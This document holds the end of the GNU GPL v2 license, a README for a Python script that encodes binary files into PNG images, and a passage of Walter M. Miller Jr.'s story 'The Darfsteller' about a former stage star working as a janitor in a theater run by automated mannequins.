this License, you may choose any version ever published by the Free Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

                            NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

                     END OF TERMS AND CONDITIONS

            How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

    {description}
    Copyright (C) {year}  {fullname}

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License along
    with this program; if not, write to the Free Software Foundation, Inc.,
    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

    Gnomovision version 69, Copyright (C) year name of author
    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    This is free software, and you are welcome to redistribute it
    under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  `Gnomovision' (which makes passes at compilers) written by James Hacker.

  {signature of Ty Coon}, 1 April 1989
  Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Lesser General
Public License instead of this License.
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bin2png
=======

A simple cross-platform script for encoding any binary file into a lossless PNG.  Each pixel of the output image encodes three bytes of the input file: The first byte is encoded in the red channel, the second byte in the green channel, and the third byte in the blue channel.  All files will be tail-padded with zeros so that they have a byte count that is a multiple of three.  The dimensions of the output image are automatically calculated such that they are as close to a multiple of three as possible.  If there are multiple dimensions that require minimal padding, the one that is closest to square is chosen.  The width and height of the output image can also be optionally overridden.

On Windows, this is another solution: https://github.com/leeroybrun/Bin2PNG

## Usage

```shell
$ python bin2png.py file_to_encode -o output.png

$ python bin2png.py -d output.png | diff - file_to_encode -s
Files - and file_to_encode are identical
```

Additional instructions are availble by running with the `-h` option.

## Author

Evan A. Sultanik, Ph.D.<br />
http://www.sultanik.com/<br />
http://www.digitaloperatives.com/
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THE DARFSTELLER
By Walter M Miller Jr
  
  "Judas, Judas" was playing at the Universal on Fifth Street, and the
  cast was entirely human. Ryan Thornier had been saving up for, it
  for several weeks, and now he could afford the price of a matinee
  ticket. It had been a race for time between his piggy bank and the
  wallets of several "public-spirited" angels who kept the show alive,
  and the piggy bank had won. He could see the show before the wallets
  went flat and the show folded, as any such show was bound to do
  after a few limping weeks. A glow of anticipation suffused
  him. After watching the wretched mockery of dramaturgical art every
  day at the New Empire Theater where he worked as janitor, the chance
  to see real theater again would be like a breath of clean air.

  He came to work an hour early on Wednesday morning and sped through
  his usual chores on overdrive. He finished his work before one
  o'clock, had a shower back-stage, changed to street clothes, and
  went nervously up-stairs to ask Imperio D'Uccia for the rest of the
  day off.

  D'Uccia sat enthroned at a rickety desk before a wall plastered with
  photographs of lightly clad female stars of the old days. He heard
  the janitor's petition with a faint, almost oriental smile of
  apparent sympathy, then drew himself up to his full height of
  sixty-five inches, leaned on the desk with chubby hands to study
  Thornier with beady eyes.

  "Off? So you wanna da day off? Mmmph-" He shook his head as if
  mystified by such an incomprehensible request.

  The gangling janitor shifted his feet uneasily. "Yes, sir. I've
  finished up, and Jigger'll come over to stand by in case you need
  anything special." He paused. D'Uccia was studying his nails,
  frowning gravely. "I haven't asked for a day off in two years,
  Mr. D'Uccia," he added, "and I was sure you wouldn't mind after all
  the overtime I've-"

   "Jigger," D'Uccia grunted. "Whoosa t'is Jigger?"

  "Works at the Paramount. It's closed for repairs, and he doesn't
  mind-"

  The theater manager grunted abruptly and waved his hands. "I don'
  pay no Jigger, I pay you. Whassa this all about? You swip the floor,
  you putsa things away, you all finish now, ah? You wanna day
  off. Thatsa whass wrong with the world, too mucha time loaf. Letsa
  machines work. More time to mek trouble." The theater manager came
  out from behind his desk and waddled to the door. He thrust his fat
  neck outside and looked up and down the corridor, then waddled back
  to confront Thornier with a short fat finger aimed at the employee's
  long and majestic nose.

  "Whensa lass time you waxa the upstairs floor, hah?" Thornier's jaw
  sagged forlornly. "Why, I---"

  "Don'ta tell me no lie. Looka that hall. Sheeza feelth. Look! I want
  you to look." He caught Thornier's arm, tugged him to the doorway,
  pointed excitedly at the worn and ancient oak flooring. "Sheeza
  feelth ground in! See? When you wax, hah?"

  A great shudder seemed to pass through the thin elderly man. He
  sighed resignedly and turned to look down at D'Uccia with weary gray
  eyes.

  "Do I get the afternoon off, or don't I?" he asked hopelessly,
  knowing the answer in advance.

  But D'Uccia was not content with a mere refusal. He began to
  pace. He was obviously deeply moved. He defended the system of free
  enterprise and the cherished traditions of the theater. He spoke
  eloquently of the golden virtues of industriousness and dedication
  to duty.

  He bounced about like a furious Pekingese yapping happily at a
  scarecrow. Thornier's neck reddened, his mouth went tight.

  "Can I go now?"

  "When you waxa da floor? Palisha da seats, fixa da lights? When you
  clean op the dressing room, hah?" He stared up at Thornier for a
  moment, then turned on his heel and charged to the window. He thrust
  his thumb into the black dirt of the window box, where several prize
  lilies were already beginning to bloom. "Ha!" he snorted. "Dry, like
  I thought! You think the bulbs a don't need a drink, hah?"

  "But I watered them this morning. The sun-"

  "Hah! You letsa little fiori wilt and die, hah? And you wanna the
  day off?"

  It was hopeless. When D'Uccia drew his defensive mantle of
  calculated deafness or stupidity about himself, he became
  impenetrable to any request or honest explanation. Thornier sucked
  in a slow breath between his teeth, stared angrily at his employer
  for a moment, and seemed briefly ready to unleash an angry
  blast. Thinking better of it, he bit his lip, turned, and stalked
  wordlessly out of the office. D'Uccia followed him trimphantly to e
  door. "Don' you go sneak off, now!" he called ominously, and stood
  smiling down the corridor until the janitor vanished at the head of
  the stairs. Then he sighed and went back to get his hat and coat. He
  was just preparing to leave when Thornier came back upstairs with a
  load of buckets, mops, and swabs.

  The janitor stopped when he noticed the hat and coat, and his seamed
  face went curiously blank. "Going home, Mr. D'Uccia?" he asked
  icily.

  "Yeh! I'ma works too hard, the doctor say. I'ma need the
  sunshine. More frash air. I'ma go relax on the beach a while."

  Thornier leaned on the mop handle and smiled nastily. "Sure," he
  said. "Letsa machines do da work."

  The comment was lost on D'Uccia. He waved airily, strode off toward
  the stairway, and called an airy "A rivederci!" over his shoulder.

  "A rivederci, padrone," Thornier muttered softly, his pale eyes
  glittering from their crow's-feet wrappings. For a moment his face
  seemed to change-and once again le was Chaubrec's Adolfo, at the
  exit of the Comman-Jant, Act II, scene iv, from "A Canticle for the
  Marsman."

  Somewhere downstairs, a door slammed behind D'Uccia.

  "Into death!" hissed Adolfo-Thornier, throwing back his head to
  laugh Adolfo's laugh. It rattled the walls. When its reverberations
  had died away, he felt a little better. He picked up his buckets and
  brooms and walked on down the corridor to the door of D'Uccia's
  office.
  
  Unless "Judas-Judas" hung on through the weekend, he wouldn't get to
  see it, since he could not afford a ticket to the evening
  performance, and there was no use asking D'Uccia for favors. While
  he waxed the hall, he burned. He waxed as far as D'Uccia's doorway,
  then stood staring into the office for several vacant minutes.

  "I'm fed up," he said at last.

  The office remained silent. The window-box lilies bowed to the
  breeze.

  "You little creep!" he growled. "I'm through!"

  The office was speechless. Thornier straightened and tapped his
  chest.

  "I, Ryan Thornier, am walking out, you hear? The show is finished!"

  When the office failed to respond, he turned on his heel and stalked
  downstairs. Minutes later, he came back with a small can of gold
  paint and a pair of artists' brushes from the storeroom. Again he
  paused in the doorway.

  "Anything else I can do, Mr. D'Uccia?" he purred. Traffic murmured
  in the street; the breeze rustled the lilies; the building creaked.

  "Oh? You want me to wax in the wall-cracks, too? How could I have
  forgotten!"

  He clucked his tongue and went over to the window. Such lovely
  lilies. He opened the paint can, set it on the window ledge, and
  then very carefully he glided each of the prize lilies, petals,
  leaves, and stalks, until the flowers glistened like the work of
  Midas' hands in the sun-light. When he finished, he stepped back to
  smile at them in admiration for a moment, then went to finish waxing
  the hall.

  He waxed it with particular care in front of D'Uccia's office. He
  waxed under the throw rug that covered the worn spot on the floor
  where D'Uccia had made a sharp left turn into his sanctum every
  morning for fifteen years, and then he turned the rug over and
  dusted dry wax powder into the pile. He replaced it carefully and
  pushed at it a few times with his foot to make certain the
  lubrication was adequate. The rug slid about as if it rode on a bed
  of bird-shot.

  Thornier smiled and went downstairs. The world was suddenly
  different somehow. Even the air smelled different. He paused on the
  landing to glance at himself in the decorative mirror.

  Ah! the old trouper again. No more of the stooped and haggard
  menial. None of the wistfulness and weariness of self-perpetuated
  slavery. Even with the gray at the temples and the lines in the
  face, here was something of the old Thornier-or one of the many old
  Thorniers of earlier days. Which one? Which one'll it be? Adolfo? Or
  Hamlet? Justin, or J. J. Jones, from "The Electrocutioner"? Any of
  them, all of them; for he was Ryan Thornier, star, in the old days.

  "Where've you been, baby?" he asked his image with a tight smile of
  approval, winked, and went on home for the evening. Tomorrow, he
  promised himself, a new life would begin.

  "But you've been making that promise for years, Thorny," said the
  man in the control booth, his voice edged with impatience. "What do
  you mean, `you quit?' Did you tell D'Uccia you quit?"

  Thornier smiled loftily while he dabbed with his broom at a bit of
  dust in the corner. "Not exactly, Richard," be said. "But the
  padrone will find it out soon enough."

  The technician grunted disgust. "I don't understand you,
  Thorny. Sure, if you really quit, that's swell-if you don't just
  turn around and get another job like this one."

  "Never!" the old actor proclaimed resonantly, and glanced up at the
  clock. Five till ten. Nearly time for D'Uccia to arrive for work. He
  smiled to himself.

  "If you really quit, what are you doing here today?" Rick Thomas
  demanded, glancing up briefly from the Maestro. His arms were thrust
  deep into the electronic entrails of the machine, and he wore a
  pencil-sized screwdriver tucked behind one ear. "Why don't you go
  home, if you quit?"

  "Oh, don't worry, Richard. This time it's for real."

  "Pssss!" An amused hiss from the technician. "Yeah, it was for real
  when you quit at the Bijou, too. Only then a week later you came to
  work here. So what now, Mercutio?"

  "To the casting office, old friend. A bit part somewhere, perhaps."
  Thornier smiled on him benignly. "Don't concern yourself about me."

  "Thorny, can't you get it through your head that theater's dead?
  There isn't any theater! No movies, no television either-except for
  dead men and the Maestro here." He slapped the metal housing of the
  machine.

  "I meant," Thorny explained patiently, " `employment office,' and
  `small job,' you . . . you machine-age flint-smith. Figures of
  speech, solely."

  "Yah."

  "I thought you wanted me to resign my position, Richard."

  "Yes! If you'll do something worthwhile with yourself. Ryan
  Thornier, star of `Walkaway,' playing martyr with a scrub-bucket!
  Aaaak! You give me the gripes. And you'll do it again. You can't
  stay away from the stage, even if all you can do about it is mop up
  the oil drippings."

  "You couldn't possibly understand," Thornier said stiffly.

  Rick straightened to look at him, took his arms out of the Maestro
  and leaned on top of the cabinet. "I dunno, Thorny," he said in a
  softer voice. "Maybe I do. You're an actor, and you're always
  playing roles. Living them, even. You can't help it, I guess. But
  you could do a saner job of picking the parts you're going to play."

   "The world has cast me in the role I play," Thornier announced with
   a funereal face.

  Rick Thomas clapped a hand over his forehead and drew it slowly down
  across his face in exasperation. "I give up!" he groaned. "Look at
  you! Matinee idol, pushing a broom. Eight years ago, it made
  sense-your kind of sense, anyhow. Dramatic gesture. Leading actor
  defies autodrama offer, takes janitor's job. Loyal to tradition, and
  the guild-and all that. It made small headlines, maybe even helped
  the legit stage limp along a little longer. But the audiences
  stopped bleeding for you after a while, and then it stopped making
  even your kind of sense!"

  Thornier stood wheezing slightly and glaring at him. "What would you
  do," he hissed, "if they started making a little black box that
  could be attached to the wall up there"-he waved to a bare spot
  above the Maestro's bulky housing-"that could repair, maintain,
  operate, and adjust-do all the things you do to that . . . that
  contraption. Suppose nobody needed electronicians any more."

  Rick Thomas thought about it a few moments, then grinned. "Well, I
  guess I'd get a job making the little black boxes, then."

  "You're not funny, Richard!"

  "I didn't intend to be."

  "You're . . . you're not an artist." Flushed with fury, Thornier
  swept viciously at the floor of the booth.

  A door slammed somewhere downstairs, far below the above-stage
  booth. Thorny set his broom aside and moved to the window to
  watch. The clop, clop, clop of bustling footsteps came up the
  central aisle.

  "Hizzoner, da Imperio," muttered the technician, glancing up at the
  clock. "Either that clock's two minutes fast, or else this was his
  morning to take a bath."

  Thornier smiled sourly toward the main aisle, his eyes traveling
  after the waddling figure of the theater manager. When D'Uccia
  disappeared beneath the rear balcony, he resumed his sweeping.

  "I don't see why you don't get a sales job, Thorny," Rick ventured,
  returning to his work. "A good salesman is just an actor, minus the
  temperament. There's lots of demand for good actors, come to think
  of it. Politicians, top executives, even generals-some of them seem
  to make out on nothing but dramatic talent. History affirms it."

  "Bah! I'm no schauspieler." He paused to watch Rick adjusting the
  Maestro, and slowly shook his head. "Ease your conscience, Richard,"
  he said finally.

  Startled the technician dropped his screwdriver, looked up
  quizzically. "My conscience? What the devil is uneasy about my
  conscience?"

  "Oh, don't pretend. That's why you're always so concerned about
  me. I know you can't help it that your ... your trade has perverted
  a great art."

  Rick gaped at him in disbelief for a moment. "You think I--" He
  choked. He colored angrily. He stared at the old ham and began to
  curse softly under his breath.

  Thornier suddenly lifted a. finger to his mouth and went shhhhh! His
  eyes roamed toward the back of the theater.

  "That was only D'Uccia on the stairs," Rick began. "What-?"

  "Shhhh!"

  They listened. The janitor wore a rancid smile. Seconds later it
  came-first a faint yelp, then Bbbrroommmpb!

  It rattled the booth windows. Rick started up frowning.

  "What the-?"

  "Shhhh!"

  The jolting jar was followed by a faint mutter of profanity.

  "That's D'Uccia. What happened?"

  The faint mutter suddenly became a roaring stream of curses from
  somewhere behind the balconies.

  "Hey!" said Rick. "He must have hurt himself."

  "Naah. He just found my resignation, that's all. See? I told you I'd
  quit."

  The profane bellowing grew louder to the accompaniment of an
  elephantine thumping on carpeted stairs.

  "He's not that sorry to see you go," Rick grunted, looking baffled.

  D'Uccia burst into view at the head of the aisle. He stopped with
  his feet spread wide, clutching at the base of his spine with one
  hand and waving a golden lily aloft in the other.

  "Lily gilder!" he screamed. "Pansy painter! You fancypantsy bona!
  Come out, you fonny fenny boy!"

  Thornier thrust his head calmly through the control-booth window,
  stared at the furious manager with arched brows. "You calling me,
  Mr. D'Uccia?"

  D'Uccia sucked in two or three gasping breaths before he found his
  bellow again.

  "Thornya!"

  "Yes, sir?"

  "Itsa finish, you hear?"

  "What's finished, boss?"

  "Itsa finish. I'ma go see the servo man. Pma go get me a swip-op
  machine. You gotta two wiks notice."

  "Tell him you don't want any notice," Rick grunted softly from
  nearby. "Walk out on him."

  "All right, Mr. D'Uccia," Thornier called evenly. D'Uccia stood
  there sputtering, threatening to charge, waving the lily
  helplessly. Finally he threw it down in the aisle with a curse and
  whirled to limp painfully out. "Whew!" Rick breathed. "What did you
  do?" Thornier told him sourly. The technician shook his head.

  "He won't fire you. He'll change his mind. It's too hard to hire
  anybody to do dirty-work these days."

  "You heard him. He can buy an autojan installation. `Swip-op'
  machine."

  "Baloney! Dooch is too stingy to put out that much dough. Besides,
  he can't get the satisfaction of screaming at a machine."

  Thornier glanced up wryly. "Why can't he?"

  "Well-" Rick paused. "Ulp! ... You're right. He can. He came up here
  and bawled out the Maestro once. Kicked it, yelled at it, shook
  it-like a guy trying to get his quarter back out of a
  telephone. Went away looking pleased with himself, too."

  "Why not?" Thorny muttered gloomily. "People are machines to
  D'Uccia. And he's fair about it. He's willing to treat them all
  alike."

  "But you're not going to stick around two weeks, are you?"

  "Why not? It'll give me time to put out some feelers for a job."

  Rick grunted doubtfully and turned his attention back to the
  machine. He removed the upper front panel and set it aside. He
  opened a metal canister on the floor and lifted out a foot-wide
  foot-thick roll of plastic tape. He mounted it on a spindle inside
  the Maestro, and began feeding the end of the tape through several
  sets of rollers and guides. The tape appeared wormeaten-covered with
  thousands of tiny punch-marks and wavy grooves. The janitor paused
  to watch the process with cold hostility.

  "Is that the script-tape for the `Anarch?' " he asked stiffly.

  The technician nodded. "Brand new tape, too. Got to be careful how I
  feed her in. It's still got fuzz on it from the recording cuts." He
  stopped the feed mechanism briefly, plucked at a punchmark with his
  awl, blew on it, then started the feed motor again.

  "What happens if the tape gets nicked or scratched?" Thorny grunted
  curiously. "Actor collapse on stage?"

  Rick shook his head. "Naa, it happens all the time. A scratch or a
  nick'll make a player muff a line or maybe stumble, then the Maestro
  catches the goof, and compensates. Maestro gets feedback from the
  stage, continuously directs the show. It can do a lot of
  compensating, too."

  "I thought the whole show came from the tape"

  The technician smiled. "It does, in a way. But it's more than a
  recorded mechanical puppet show, Thorny. The Maestro watches the
  stage . . . no, more than that ... the Maestro is the stage, an
  electronic analogue of it." He patted the metal housing. "All the
  actors' personality patterns are packed in here. It's more than a
  remote controller, the way most people think of it. It's a creative
  directing machine. It's even got pickups out in the audience to
  gauge reactions to-"

  He stopped suddenly, staring at the old actor's face. He swallowed
  nervously. "Thorny don't look that way. I'm sorry. Here, have a
  cigarette."

  Thorny accepted it with trembling fingers. He stared down into the
  gleaming maze of circuitry with narrowed eyes, watched the
  script-belt climb slowly over the rollers and down into the bowels
  of the Maestro.

  "Art!" he hissed. "Theater! What'd they give you your degree in,
  Richard? Dramaturgical engineering?"

  He shuddered and stalked out of the booth. Rick listened to the
  angry rattle of his heels on the iron stairs that led down to stage
  level. He shook his head sadly, shrugged, went back to inspecting
  the tape for rough cuts.

  Thorny came back after a few minutes with a bucket and a mop. He
  looked reluctantly repentant. "Sorry, lad," he grunted. "I know
  you're just trying to make a living, and-"

  "Skip it," Rick grunted curtly.

  "It's just . . . well . . . this particular show. It gets me."

  "This-? `The Anarch,' you mean? What about it, Thorny? You play in
  it once?"

  "Uh-uh. It hasn't been on the stage since the Nineties, except-well,
  it was almost revived ten years ago. We rehearsed for weeks. Show
  folded before opening night. No dough."

   "You had a good part in it?"

  "I was to play Andreyev," Thornier told him with a faint smile.

  Rick whistled between his teeth. "The lead. That's too bad." He
  hoisted his feet to let Thorny mop under them. "Big disappointment,
  I guess."

  "It's not that. It's just . . . well . . . `The Anarch' rehearsals
  were the last time Mela and I were on stage together. That's all."

  "Mela?" The technician paused, frowning. "Mela Stone?"

  Thornier nodded.

  Rick snatched up a copy of the uncoded script, waved it at him. "But
  she's in this version, Thorny! Know that! She's playing Marka."

  Thornier's laugh was brief and brittle.

  Rick reddened slightly. "Well, I mean her mannequin's playing it."

  Thorny eyed the Maestro distastefully. "Your mechanical Svengali's
  playing its airfoam zombies in all roles, you mean."

  "Oh, cut it out, Thorny. Be sore at the world if you want to, but
  don't blame me for what audiences want. And I didn't invent
  autodrama anyhow."

  "I don't blame anybody. I merely detest that . . . that-" He punched
  at the base of the Maestro with his wet plop.

  "You and D'Uccia," Rick grunted disgustedly. "Except--D'Uccia loves
  it when it's working O.K. It's just a machine, Thorny. Why hate it?"

   "Don't need a reason to hate it," he said snarly-petulant. "I hate
   air-cabs, too. It's a matter of taste, that's all."

  "All right, but the public likes autodrama-whether it's by TV,
  stereo, or on stage. And they get what they want."

  "Why?"

  Rick snickered. "Well, it's their dough. Autodrama's portable,
  predictable, duplicatable. And flexible. You can run `Macbeth'
  tonight, the `Anarch' tomorrow night, and `King of the Moon' the
  next night-in the same house. No actor-temperament problems. No
  union problems. Rent the packaged props, dolls, and tapes from
  Smithfield. Packaged theater. Systematized, mass-produced. In Coon
  Creek, Georgia, yet."

  "Bah!"

  Rick finished feeding in the script tape, closed the panel, and
  opened an adjacent one. He ripped the lid from a cardboard carton
  and dumped a heap of smaller tape-spools on the table.

  "Are those the souls they sold to Smithfield?" Thornier asked,
  smiling at them rather weirdly.

  The technician's stool scraped back and he exploded: "You know what
  they are!"

  Thornier nodded, leaned closer to stare at them as if fascinated. He
  plucked one of them out of the pile, sighed down at it.

  "If you say `Alas, poor Yorick,' I'll heave you out of here!" Rick
  grated.

  Thornier put it back with a sigh and wiped his hand on his
  coveralls. Packaged personalities. Actor's egos, analogized on
  tape. Real actors, once, whose dolls were now cast in the roles. The
  tapes contained complex psychophysiological data derived from months
  of psychic and somatic testing, after the original actors had signed
  their Smithfield contracts. Data for the Maestro's personality
  matrices. Abstractions from the human psyche, incarnate in glass,
  copper, chromium. The souls they rented to Smithfield on a royalty
  basis, along with their flesh and blood likenesses in the dolls.

  Rick loaded a casting spool onto its spindle, started it feeding
  through the pickups.

  "What happens if we leave out a vital ingredient? Such as Mela
  Stone's tape, for instance," Thornier wanted to know.

  "The doll'd run through its lines like a zombie, that's all," Rick
  explained. "No zip. No interpretation. Flat, deadpan, like a robot."

  "They are robots."

  "Not exactly. Remote marionettes for the Maestro, but
  interpreted. We did a run-through on `Hamlet' once, without any
  actor tapes. Everybody talked in flat monotones, no expressions. It
  was a scream."

   "Ha, ha," Thornier said grimly.

  Rick slipped another tape on the spindle, clicked a dial to a new
  setting, started the feed again. "This one's Andreyev,
  Thornier-played by Peltier." He cursed suddenly, stopped the feed,
  inspected the tape anxiously, flipped open the pickup mechanism, and
  inspected it with a magnifier.

  "What's wrong?" asked the janitor.

  "Take-off's about worn out. Hard to keep its spacing right. I'm
  nervous about it getting hung up and chewing up the tape."

  "No duplicate tapes?"

  "Yeah. One set of extras. But the show opens tonight." He cast
  another suspicious look at the pickup glideway, then closed it and
  switched the feed again. He was replacing the panel when the feed
  mechanism stalled. A ripping sound came from inside. He muttered
  fluent profanity, shut off the drive, jerked away the panel. He held
  up a shredded ribbon of tape for Thorny to see, then flung it
  angrily across the booth. "Get out of here! You're a jinx!"

  "Not till I finish mopping."

  "Thorny, get D'Uccia for me, will you? We'll have to get a new
  pickup flown in from Smithfield before this afternoon. This is a
  helluva mess."

  "Why not hire a human stand-in?" he asked nastily, then added:
  "Forgive me. That would be a perversion of your art, wouldn't it?
  Shall I get D'Uccia?"

  Rick threw the Peltier spool at him. He ducked out with a chuckle
  and went to find the theater manager. Halfway down the iron stairs,
  he paused to look at the wide stage that spread away just beyond the
  folded curtains. The footlights were burning and the gray-green
  floor looked clean and shimmering, with its checkerboard pattern of
  imbedded copper strips. The strips were electrified during the
  performance, and they fed the mannequins' energy-storage packs. The
  dolls had metallic disks in their soles, and rectifiers in their
  insteps. When batteries drained low, the Maestro moved the actor's
  foot an inch or so to contact the floor electrodes for periodic
  recharging during the play, since a doll would grow wobbly and its
  voice indistinct after a dozen minutes on internal power alone.

  Thorny stared at the broad expanse of stage where no humans walked
  on performance night. D'Uccia's Siamese tomcat sat licking itself in
  the center of the stage. It glanced up at him haughtily, seemed to
  sniff, began licking itself again. He watched it for a moment, then
  called back upstairs to Rick.

  "Energize the floor a minute, will you, Rick?"

  "Huh? Why?"--a busy grunt.

  "Want to check something."

  "O.K., but then fetch D'Uccia."

  He heard the technician snap a switch. The cat's calm hauteur
  exploded. The cat screamed, scrambled, barrel-rolled, amid a faint
  sputter of sparks. The cat did an Immelmann turn over the
  footlights, landed in the pit with a clawing crash, then scampered
  up the aisle with fur erect toward its haven beneath Imperio's desk.

  "Whatthehell?" Rick growled, and thrust his head out of the booth.

  "Shut it off now," said the janitor. "D'Uccia'll be here in a
  minute."

  "With fangs showing!"

  Thornier went to finish his routine clean-up. Gloom had begun to
  gather about him. He was leaving-leaving even this last humble role
  in connection with the stage. A fleeting realization of his own
  impotence came to him. Helpless. Helpless enough to seek petty
  revenges like vandalizing D'Uccia's window box and tormenting
  D'Uccia's cat, because there was not any real enemy at which he
  could strike out.

  He put the realization down firmly, and stamped on it. He was Ryan
  Thornier, and never helpless, unless he willed it so. I'll make them
  know who I am just once he thought, before I go. I'll make them
  remember, and they won't ever forget.

  But that line of thought about playing one last great role, one last
  masterful interpretation, he knew was no good. "Thorny, if you ever
  played a one-last-great," Rick had said to him once, "there wouldn't
  be a thing left to live for, would there?" Rick had said it
  cynically, but it was true anyhow. And the pleasant fantasy was
  somehow alarming as well as pleasant.
  
  The chic little woman in the white-plumed hat was explaining things
  carefully-with round vowels and precise enunciation-to the
  Playwright of the Moment, up-and-coming, with awed worshipfulness in
  his gaze as he listened to the pert little producer. "Stark realism,
  you see, is the milieu of autodrama," she said. "Always remember,
  Bernie, that consideration for the actors is a thing of the
  past. Study the drama of Rome-ancient Rome. If a play had a
  crucifixion scene, they got a slave for the part and crucified
  him. On stage, but really!"

  The Playwright of the Moment laughed dutifully around his long
  cigarette holder. "So that's where they got the line: `It's superb,
  but it's hell on the actors.' I must re-write the murder scene in my
  `George's Wake.' Do it with a hatchet, this time."

  "Oh, now, Bernie! Mannequins don't bleed."

  They both laughed heartily. "And they are expensive. Not hell on the
  actors, but hell on the budget."

  "The Romans probably had the same problem. I'll bear it in mind."

  Thornier saw them-the producer and the Playwright of the
  Moment-standing there in the orchestra when he came from backstage
  and across toward the center aisle. They lounged on the arms of
  their seats, and a crowd of production personnel and technicians
  milled about them. The time for the first run-through was
  approaching.

  The small woman waved demurely to Thorny when she saw him making his
  way slowly through the throng, then turned to the playwright
  again. "Bernie, be a lamb and get me a drink, will you? I've got a
  butterfly."

  "Surely. Hard, or soft?"

  "Oh, hard. Scotch mist in a paper cup, please. There's a bar next
  door."

  The playwright nodded a nod that was nearly a bow and shuffled away
  up the aisle. The woman caught at the janitor's sleeve as he passed.

  "Going to snub me, Thorny?"

  "Oh, hello, Miss Ferne," he said politely.

  She leaned close and muttered: "Call me `Miss Ferne again and I'll
  claw you." The round vowels had vanished.

  "O.K., Jade, but-" He glanced around nervously. Technicians milled
  about them. Ian Feria, the producer, watched them curiously from the
  wings.

  'What's been doing with you, Thorny? Why haven't I seen you?" she
  complained.

  He gestured with the broom handle, shrugged. Jade Ferne studied his
  face a moment and frowned. "Why the agonized look, Thorny? Mad at
  me?"

  He shook his head. "This play, Jade-The Anarch,' well-" He glanced
  miserably toward the stage.

  Memory struck her suddenly. She breathed a compassionate ummm. "The
  attempted revival, ten years ago-you were to be Andreyev. Oh,
  Thorny, I'd forgotten."

  "It's all right." He wore a carefully tailored martyr's smile.

  She gave his arm a quick pat. "I'll see you after the run-through,
  Thorny. We'll have a drink and talk old times."

  He glanced around again and shook his head. "You've got new friends
  now, Jade. They wouldn't like it."

  "The crew? Nonsense! They're not snobs."

  "No, but they want your attention. Feria's trying to catch your eye
  right now. No use making them sore."

  "All right, but after the run-through I'll see you in the mannequin
  room. I'll just slip away."

  "If you want to."

  "I do, Thorny. It's been so long."

  The playwright returned with her Scotch mist and gave Thornier a
  hostilely curious glance.

  "Bless your heart, Bernie," she said, the round vowels returning,
  then to Thornier: "Thorny, would you do me a favor? I've been trying
  to corner D'Uccia, but he's tied up with a servo salesman
  somewhere. Somebody's got to run and pick up a mannequin from the
  depot. The shipment was delivered, but the trucker missed a doll
  crate. We'll need it for the runthrough. Could you-"

  "Sure, Miss Ferne. Do I need a requisition order?"

  "No, just sign the delivery ticket. And Thorny, see if the new part
  for the Maestro's been flown in yet. Oh, and one other thing-the
  Maestro chewed up the Peltier tape. We've got a duplicate, but we
  should have two, just to be safe."

  "I'll see if they have one in stock," he murmured, and turned to go.

  D'Uccia stood in the lobby with the salesman when he passed
  through. The theater manager saw him and smirked happily.

  "Certain special features, of course," the salesman was
  saying. "It's an old building, and it wasn't designed with
  autojanitor systems in mind, like buildings are now. But we'll
  tailor the installation to fit your place, Mr. D'Uccia. We want to
  do the job right, and a packaged unit wouldn't do it."

  "Yah, you gimme da price, hah?"

  "We'll have an estimate for you by tomorrow. I'll have an engineer
  over this afternoon to make the survey, and he'll work up a layout
  tonight."

  "Whatsa 'bout the demonstration, uh? Whatsa 'bout you show how da
  swhip-op machine go?"

